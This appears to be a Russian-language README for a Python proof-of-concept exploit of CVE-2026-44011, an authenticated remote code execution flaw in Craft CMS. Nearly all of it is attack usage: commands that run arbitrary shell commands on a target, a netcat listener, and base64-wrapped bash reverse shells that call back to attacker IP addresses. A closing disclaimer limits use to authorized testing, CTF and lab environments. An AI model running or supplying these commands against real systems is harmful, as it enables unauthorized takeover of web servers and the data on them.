Python proof-of-concept для CVE-2026-44011 в Craft CMS, эксплуатирующий аутентифицированное удалённое выполнение кода с выполнением команд и полезными нагрузками reverse shell в base64-обёртке.
CVE-2026-44011-craft-rce-poc Использование
Одна команда: bash
python3 craft_rce.py -b http://target -u USER -p PASS -c 'id'
Обратная оболочка (bash, обёрнутый в base64):
nc -lvnp 4444
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 4444
Если цель не может достучаться до вашего колбэка, укажите его явно:
python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.13.37.200 4444 -H 10.13.37.200 --listen-port 35509
Отказ от ответственности
Только для авторизованного тестирования, CTF и лабораторных сред. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
